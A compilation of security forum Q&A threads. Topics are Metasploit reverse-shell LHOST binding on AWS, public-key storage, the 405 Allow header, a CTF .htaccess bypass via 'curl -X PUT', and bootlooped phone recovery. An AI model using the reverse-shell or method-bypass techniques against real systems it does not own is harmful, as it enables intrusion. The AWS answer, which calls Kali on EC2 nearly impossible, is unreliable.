There is a module in metasploit that allows me to test this.

exploits/windows/fileformat/office_word_hta (or something like that)

However i need to set the reverse shell LHOST = External IP, for the payload to do a reverse callback to the kali box.
At the moment it will only allow me to set the LHOST = internal IP (172.X.X.X).

Everytime i try to set the LHOST = external IP or domain name pointing to the external IP i get bind error and it wont let me.
I am also running metasploit as root.
There are no apache2 instances running on it.

I am owner of both the AWS instance and the endpoint i am testing on.

Is this an amazon restriction?
Can anyone advise on this please?

Without me being able to set the payload to my external AWS IP, the payload will never call back to the AWS metasploit listener..

AWS has very specific rules in place to help prevent their boxes from being abused. Running Kali or streaming to an ec2 instance is very restricted if not impossible. I don't know exactly how they are enforcing these rules (firewall rules on their end, something in their Virtual Machine Setup, etc), but if you are trying to test a vulnerability on a AWS box I doubt you'll have any luck.


How do I protect the stored clients' public keys on a server? I'm learning about security at the moment, and I want to store my clients' public keys on the server to facilitate distributing and managing those keys, my question is what are the possible ways to protect those keys when they are stored in the server from manipulating by attackers?

It depends on a number of issues such as how they are used, what the architecture of the server is, etc. But a few ideas to think about are:

can you store them on a 'write only' medium? A 'finalised' CD-ROM for example?
can you check their fingerprints before use against a copy of the fingerprints stored on a different server, or downloaded from a (trusted) public key server?
can you download the keys from a (trusted) public key server before each use (check the security of the connection to the key server, including DNS records resolving to the server before use)?
can you enter the fingerprint for the keys ephemerally at boot time and then compare them against the computed fingerprint at the time of use?
have you got file integrity software running that you can trust? If not, I'd consider this option very strongly because you may be able to trust the keys, but if the rest of the system is compromised why is that any use?

PKI is a 'solved problem' to some extent so have you also looked at commercial solutions to this everyday problem?


Hiding the "Allow" http header that comes with the response after an 405 API call Hi so our security team said that we need to hide the Allow header

Is the request possible?

... our security team said that we need to hide the Allow header

Either they've told you something wrong or you understood it wrong. Allow is actually a mandatory header when doing response code 405. From RFC 7231 section 6.5.5:

  405 Method Not Allowed
     The 405 (Method Not Allowed) status code indicates that the method
     received in the request-line is known by the origin server but not
     supported by the target resource.  The origin server MUST generate an
     Allow header field in a 405 response containing a list of the target
     resource's currently supported methods.

What I find a more likely requirement given the picture you show is that the server should not support the TRACE method in the first place and therefore also should not show TRACE as supported.


How to bypass .htaccess protection? Is there any way to bypass a directory that protected by .htaccess file?

I played a challenge in CTF and I could not access the path where the flag is.
I tried to access http://www.example.com/flag in a challenge but I can't bypass the .htaccess protection.

I tried to read the .htpasswd file but that was forbidden and I tried to use:
http://ip/~username/flag but that also did not work.

Have you tried to use other HTTP Method than GET or POST to access the page ?

Some misconfiguration in Apache could lead to accept request using method like PUT for example.

Try this :

curl -X PUT http://www.example.com/flag


How to recover disk image from a smartphone in "bootloop" state? I've been playing around on data recovery from devices and so far it worked well. Now I got this new situation that I don't know how to proceed in order to put my hands on the data. My old smartphone just crashed and entered in a bootloop. I couldn't boot into recovery either because the lower volume button of it is broken. Then I saw it slowly dying as it booted and restarted until the battery faded. All I want to do is recover its data, there are some photos/videos that wasn't sync'd to the cloud and also some other stuff. I don't know how could I (if it is even possible) to recover a disk image (like when we do by dding  the contents from /dev mapped devices) in these cases where I can't even boot it. So, my question is, how do I generate a disk image from it in this scenario?

Without recovery mode, nothing can be done because of the boot loop. However, all hope is not lost. Two options exist:

1)
Fix a Stuck Button on Your Smartphone or Tablet [How-To]

  In this video, I'll be showing you how to free up a stuck button on
  your phone or tablet. By "stuck button," I mean the kind of
  malfunction that happens when dirt and grime accumulate around a
  button's housing, leaving you with a button that no longer gives you
  that "clicky" feeling, making it difficult to press.

  Materials needed for this method are isopropyl alcohol, a Q-tip or
  two, and some canned air.

I cannot foresee this doing much.

2)

Find a disassembly tutorial for your particular Android phone. Hopefully, the volume buttons are not actually broken, and rather something is preventing physical contact. Otherwise, it might still be possible to clean the circuit board without changing out the hardware.

This is quite restricting, as you need a functional volume rocker. Furthermore, repair difficult can vary from manufacturer and model.